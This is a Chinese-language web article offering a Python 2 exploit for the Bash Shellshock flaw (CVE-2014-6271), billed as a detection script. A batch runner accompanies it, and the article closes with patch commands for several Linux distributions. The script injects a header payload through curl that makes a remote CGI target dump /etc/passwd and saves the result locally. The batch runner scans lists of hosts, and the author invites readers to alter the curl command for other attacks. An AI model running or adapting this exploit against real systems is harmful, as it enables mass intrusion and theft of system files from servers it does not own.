| 关键词: nbsp Bash 脚本 print http 漏洞 命令 解决方案 最终 目标 |
Linux官方内置Bash中新发现一个非常严重安全漏洞,黑客可以利用该Bash漏洞完全控制目标系统并发起攻击。Bash远程命令执行漏洞(CVE2014-6271)检测脚本作者:ziwen(dn8.net团队)运行环境:python 2.7#!/usr/bin/env python #coding:utf-8 import os import sys import re print "f4ck ziwen cve 2014 6271 exp attacking!" if sys.argv[1].startswith('-'): option = sys.argv[1][1:] if option == 'url': b=sys.argv[2] if not re.match("http",sys.argv[2]): print "URL格式错误 正确格式例如http://www.baidu.com/1.cgi" else: out=re.sub("\.|\/","",b) out=out[7:] print "shahdashhdd",out,b a="curl -H \'x: () { :;};a=`/bin/cat /etc/passwd`;echo \"a: $a\"' '"+b+"' -I -o "+out+"\"output\".txt" os.system(a) f = open(out+"output.txt", 'r') a=f.read() if re.search("root|bin\/bash",a): print "target possible have bug under is *nix passwd file" print a else: f.close() os.remove(out+"output.txt") print "possible dont have bug! or have a waf!" else: print "error! U can email to me U question ([email protected])" print option下载地址脚本会将结果回显出来 如果存在漏洞的话还会把passwd文件保存在以目标域名+output命名的txt文档里,不成功不保存执行方法python c:\exp.py -url http://23.239.208.105/cgi-bin/poc.cgi批量检测是否存在Bash远程命令执行漏洞#!/usr/bin/env python #coding:utf-8 import os import sys PATH=sys.path[0]+"/" text=open(PATH+"target.txt",'r') for line in text: print line os.system("python "+PATH+"exp.py -url "+line)下载地址该脚本调用了上面那个EXP 所以请运行该脚本时请将两个脚本放同一目录 并在该目录下新建target.txt文件将您的目标列表放进文件里如:http://www.baidu.comhttp://23.239.208.105/cgi-bin/poc.cgi然后运行该脚本即可 该脚本便会自动按顺序检测 会把结果回显出来 并会把成功的目标的passwd文件保存在 以目标域名+output命名的txt文档里,不成功不保存请不要随意改变exp.py的文件名 如果改变了EXP.PY的文件名请将batch.py里面的exp.py改为您修改的文件名 否则batch.py会运行失败其他linux如果用不了上面那个版本请试下这个Linux专版http://pan.baidu.com/s/1hq7oCYwwindows用不了请试试下面这个windows专版http://pan.baidu.com/s/1kTmjNKV如果需要生成其他文件或者利用漏洞做其他事请自行修改脚本中的curl命令个别报错报CURL命令错误的是CURL版本问题,不是我脚本问题,我这边多个基友都测试了无误漏洞修复方案请您根据Linux版本选择您需要修复的命令, 为了防止意外情况发生,建议您执行命令前先对Linux服务器系统盘打个快照,如果万一出现升级影响您服务器使用情况,可以通过回滚系统盘快照解决。 centos:(最终解决方案) yum clean all yum makecache yum -y update bashubuntu:(最终解决方案) apt-get update apt-get -y install --only-upgrade bashdebian:(最终解决方案) 7.5 64bit && 32bit apt-get update apt-get -y install --only-upgrade bash6.0.x 64bit wget http://mirrors.aliyun.com/debian/pool/main/b/bash/bash_4.1-3+deb6u2_amd64.deb && dpkg -i bash_4.1-3+deb6u2_amd64.deb6.0.x 32bit wget http://mirrors.aliyun.com/debian/pool/main/b/bash/bash_4.1-3+deb6u2_i386.deb && dpkg -i bash_4.1-3+deb6u2_i386.debaliyun linux:(最终解决方案) 5.x 64bit wget http://mirrors.aliyun.com/centos/5/updates/x86_64/RPMS/bash-3.2-33.el5_10.4.x86_64.rpm && rpm -Uvh bash-3.2-33.el5_10.4.x86_64.rpm5.x 32bit wget http://mirrors.aliyun.com/centos/5/updates/i386/RPMS/bash-3.2-33.el5_10.4.i386.rpm && rpm -Uvh bash-3.2-33.el5_10.4.i386.rpmopensuse:(最终解决方案) zypper clean zypper refresh zypper update -y bash |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|